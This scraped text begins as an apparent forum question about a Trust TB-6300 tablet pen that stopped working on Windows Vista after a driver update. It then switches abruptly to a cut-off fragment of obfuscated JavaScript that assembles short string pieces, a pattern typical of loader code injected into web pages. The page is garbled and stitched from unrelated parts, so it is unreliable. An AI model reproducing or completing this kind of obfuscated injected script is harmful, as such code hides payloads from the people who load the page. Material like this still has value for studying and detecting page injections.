I downloaded the newest drivers from trust com and plugged the tablet in my pc The pen was acting weird first, but after a while it worked without any problems.. And that's where things get weird The pen of the tablet isn't working at all The tablet mouse that's included with the TB-6300 is working fine though.. Is this most likely the case, or could it be something else too? And I use Vista btw.. r";Ri["yg"]="ne";Ri["IB"]="eq";Ri["oe"]=""/";Ri["Dg"]="HA";Ri["Go"]="AA";Ri["iB"]="";Ri["eg"]="nf";Ri["dv"]="AF";Ri["nS"]="ue";Ri["Hs"]="ta";Ri["WWXs"]="hM";Ri["GJ"]="=C";Ri["Oe"]="AV";Ri["FY"]="FI";Ri["Xu"]="=f";Ri["Hi"]="r=";Ri["EV"]="FU";Ri["Bm"]="RI";Ri["DK"]="ct";Ri["Hr"]="er";Ri["Yx"]="";Ri["xB"]="hY";Ri["sW"]="SW";Ri["
